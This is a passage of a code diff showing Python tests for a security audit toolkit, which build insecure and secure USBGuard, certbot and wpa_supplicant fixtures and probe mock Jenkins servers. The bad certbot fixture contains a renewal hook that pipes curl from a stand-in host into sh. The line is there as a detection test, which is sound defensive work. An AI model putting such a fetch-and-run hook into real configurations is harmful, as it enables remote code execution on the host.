shutil.rmtree(cfg36_home, ignore_errors=True)
|
||||
|
||||
print("\n== USBGuard, certbot, WPA supplicant and Jenkins ==\n")
|
||||
|
||||
ug_root = tempfile.mkdtemp(prefix="apex-ug-")
|
||||
os.makedirs(os.path.join(ug_root, "etc", "usbguard"))
|
||||
ug_rules = os.path.join(ug_root, "etc", "usbguard", "rules.conf")
|
||||
with open(ug_rules, "w") as f:
|
||||
f.write("allow\n")
|
||||
os.chmod(ug_rules, 0o666)
|
||||
with open(os.path.join(ug_root, "etc", "usbguard",
|
||||
"usbguard-daemon.conf"), "w") as f:
|
||||
f.write("ImplicitPolicyTarget=allow\n")
|
||||
f.write("PresentDevicePolicy=allow\n")
|
||||
ug_good_root = tempfile.mkdtemp(prefix="apex-ugg-")
|
||||
os.makedirs(os.path.join(ug_good_root, "etc", "usbguard"))
|
||||
with open(os.path.join(ug_good_root, "etc", "usbguard", "rules.conf"),
|
||||
"w") as f:
|
||||
f.write('allow id 1234:5678 with-interface 03:*:* serial "abc"\n')
|
||||
with open(os.path.join(ug_good_root, "etc", "usbguard",
|
||||
"usbguard-daemon.conf"), "w") as f:
|
||||
f.write("ImplicitPolicyTarget=block\n")
|
||||
f.write("PresentDevicePolicy=block\n")
|
||||
|
||||
cb_root = tempfile.mkdtemp(prefix="apex-cb-")
|
||||
os.makedirs(os.path.join(cb_root, "etc", "letsencrypt", "renewal"))
|
||||
cb_bad = os.path.join(cb_root, "etc", "letsencrypt", "renewal",
|
||||
"example.conf")
|
||||
with open(cb_bad, "w") as f:
|
||||
f.write("authenticator = manual\n")
|
||||
f.write("renew_hook = curl -s http://example.test/x | sh\n")
|
||||
os.chmod(cb_bad, 0o666)
|
||||
cb_good_root = tempfile.mkdtemp(prefix="apex-cbg-")
|
||||
os.makedirs(os.path.join(cb_good_root, "etc", "letsencrypt", "renewal"))
|
||||
with open(os.path.join(cb_good_root, "etc", "letsencrypt", "renewal",
|
||||
"example.conf"), "w") as f:
|
||||
f.write("authenticator = webroot\n")
|
||||
f.write("renew_hook = systemctl reload nginx\n")
|
||||
|
||||
wp_root = tempfile.mkdtemp(prefix="apex-wp-")
|
||||
os.makedirs(os.path.join(wp_root, "etc", "wpa_supplicant"))
|
||||
wp_bad = os.path.join(wp_root, "etc", "wpa_supplicant",
|
||||
"wpa_supplicant.conf")
|
||||
with open(wp_bad, "w") as f:
|
||||
f.write('network={\n ssid="open"\n key_mgmt=NONE\n}\n')
|
||||
f.write('network={\n ssid="old"\n key_mgmt=NONE\n')
|
||||
f.write(' wep_key0="abcde"\n}\n')
|
||||
f.write('network={\n ssid="home"\n psk="secretpass"\n}\n')
|
||||
os.chmod(wp_bad, 0o666)
|
||||
wp_good_root = tempfile.mkdtemp(prefix="apex-wpg-")
|
||||
os.makedirs(os.path.join(wp_good_root, "etc", "wpa_supplicant"))
|
||||
wp_good = os.path.join(wp_good_root, "etc", "wpa_supplicant",
|
||||
"wpa_supplicant.conf")
|
||||
with open(wp_good, "w") as f:
|
||||
f.write('network={\n ssid="home"\n key_mgmt=WPA-PSK\n')
|
||||
f.write(' psk="a-very-long-random-passphrase"\n}\n')
|
||||
os.chmod(wp_good, 0o600)
|
||||
|
||||
|
||||
class _JenkinsHandler(http.server.BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
path = urllib.parse.urlsplit(self.path).path
|
||||
if path == "/api/json":
|
||||
body = b'{"jobs":[{"name":"build","color":"blue"}]}'
|
||||
self.send_response(200)
|
||||
elif path == "/whoAmI/api/json":
|
||||
body = b'{"name":"anonymous","authenticated":false}'
|
||||
self.send_response(200)
|
||||
else:
|
||||
body = b'{"error":"not found"}'
|
||||
self.send_response(404)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
class _JenkinsAuthHandler(http.server.BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
body = b'{"error":"Unauthorized"}'
|
||||
self.send_response(403)
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
jk_srv = http.server.HTTPServer(("127.0.0.1", 0), _JenkinsHandler)
|
||||
jk_port = jk_srv.server_address[1]
|
||||
threading.Thread(target=jk_srv.serve_forever, daemon=True).start()
|
||||
jk_auth_srv = http.server.HTTPServer(("127.0.0.1", 0),
|
||||
_JenkinsAuthHandler)
|
||||
jk_auth_port = jk_auth_srv.server_address[1]
|
||||
threading.Thread(target=jk_auth_srv.serve_forever, daemon=True).start()
|
||||
|
||||
cfg37_home = tempfile.mkdtemp(prefix="apex-cfg37-home-")
|
||||
write_scope(cfg37_home, {"label": "cfg37", "expires": "2099-12-31T23:59:59Z",
|
||||
"allow_private": True, "allow_ip": ["127.0.0.1"],
|
||||
"allow_port": [str(jk_port), str(jk_auth_port)]})
|
||||
res, _ = run([
|
||||
call(1, "usbguard_audit", root=ug_root),
|
||||
call(2, "usbguard_audit", root=ug_good_root),
|
||||
call(3, "certbot_audit", root=cb_root),
|
||||
call(4, "certbot_audit", root=cb_good_root),
|
||||
call(5, "wpa_supplicant_audit", root=wp_root),
|
||||
call(6, "wpa_supplicant_audit", root=wp_good_root),
|
||||
call(7, "jenkins_api_probe", target="127.0.0.1", port=jk_port,
|
||||
tls=False),
|
||||
call(8, "jenkins_api_probe", target="127.0.0.1", port=jk_auth_port,
|
||||
tls=False),
|
||||
call(9, "jenkins_api_probe", target="198.51.100.9", port=8080),
|
||||
call(10, "usbguard_audit", root="/nonexistent-ug"),
|
||||
call(11, "certbot_audit", root="/nonexistent-cb"),
|
||||
call(12, "wpa_supplicant_audit", root="/nonexistent-wp"),
|
||||
], home=cfg37_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
ug = json.loads(text(by_id[1]))
|
||||
ug_kinds = {f["id"] for f in ug["findings"]}
|
||||
check("usbguard_audit flags an unscoped allow and implicit allow",
|
||||
{"world-writable", "allow-any-interface", "implicit-allow",
|
||||
"present-allow"} <= ug_kinds and
|
||||
ug["allow_any_interface"] == 1 and ug["implicit_policy"] == "allow",
|
||||
ug)
|
||||
ug_good = json.loads(text(by_id[2]))
|
||||
check("usbguard_audit accepts interface-scoped rules",
|
||||
ug_good["findings_count"] == 0 and
|
||||
ug_good["allow_any_interface"] == 0 and
|
||||
ug_good["implicit_policy"] == "block", ug_good)
|
||||
cb = json.loads(text(by_id[3]))
|
||||
cb_kinds = {f["id"] for f in cb["findings"]}
|
||||
check("certbot_audit flags manual renewal and a shell hook",
|
||||
{"world-writable", "manual-auth", "shell-hook"} <= cb_kinds and
|
||||
cb["manual"] == 1 and cb["shell_hooks"] == 1, cb)
|
||||
cb_good = json.loads(text(by_id[4]))
|
||||
check("certbot_audit accepts webroot with a safe hook",
|
||||
cb_good["findings_count"] == 0 and cb_good["manual"] == 0 and
|
||||
cb_good["shell_hooks"] == 0, cb_good)
|
||||
wp = json.loads(text(by_id[5]))
|
||||
wp_kinds = {f["id"] for f in wp["findings"]}
|
||||
check("wpa_supplicant_audit flags open, WEP and a readable PSK",
|
||||
{"world-writable", "open-network", "wep", "readable-psk"} <=
|
||||
wp_kinds and wp["open_network"] is True and wp["wep"] is True and
|
||||
wp["readable_psk"] is True, wp)
|
||||
wp_good = json.loads(text(by_id[6]))
|
||||
check("wpa_supplicant_audit accepts WPA-PSK in a private file",
|
||||
wp_good["findings_count"] == 0 and
|
||||
wp_good["open_network"] is False and
|
||||
wp_good["readable_psk"] is False, wp_good)
|
||||
jk = json.loads(text(by_id[7]))
|
||||
check("jenkins_api_probe finds the anonymous API",
|
||||
jk["api_open"] is True and jk["who"] == "anonymous" and
|
||||
jk["evidence"] and os.path.isfile(jk["evidence"]), jk)
|
||||
jk_auth = json.loads(text(by_id[8]))
|
||||
check("jenkins_api_probe reports a protected API",
|
||||
jk_auth["api_open"] is False and
|
||||
all(e["status"] == 403 for e in jk_auth["endpoints"]), jk_auth)
|
||||
check("jenkins_api_probe refuses an out-of-scope target", err(by_id[9]),
|
||||
text(by_id[9]))
|
||||
check("usbguard_audit reports a missing config", err(by_id[10]),
|
||||
text(by_id[10]))
|
||||
check("certbot_audit reports a missing directory", err(by_id[11]),
|
||||
text(by_id[11]))
|
||||
check("wpa_supplicant_audit reports a missing config", err(by_id[12]),
|
||||
text(by_id[12]))
|
||||
jk_srv.shutdown()
|
||||
jk_srv.server_close()
|
||||
jk_auth_srv.shutdown()
|
||||
jk_auth_srv.server_close()
|
||||
shutil.rmtree(ug_root, ignore_errors=True)
|
||||
shutil.rmtree(ug_good_root, ignore_errors=True)
|
||||
shutil.rmtree(cb_root, ignore_errors=True)
|
||||
shutil.rmtree(cb_good_root, ignore_errors=True)
|
||||
shutil.rmtree(wp_root, ignore_errors=True)
|
||||
shutil.rmtree(wp_good_root, ignore_errors=True)
|
||||
shutil.rmtree(cfg37_home, ignore_errors=True)
|
||||
|
||||
print("\n== esp32 tools ==")
|
||||
|
||||
|
||||
@@ -13407,6 +13586,7 @@ print("\n== esp32 tools ==")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
esp_home = tempfile.mkdtemp(prefix="apex-esp-")
|
||||
|
||||
Reference in new issue
Block a user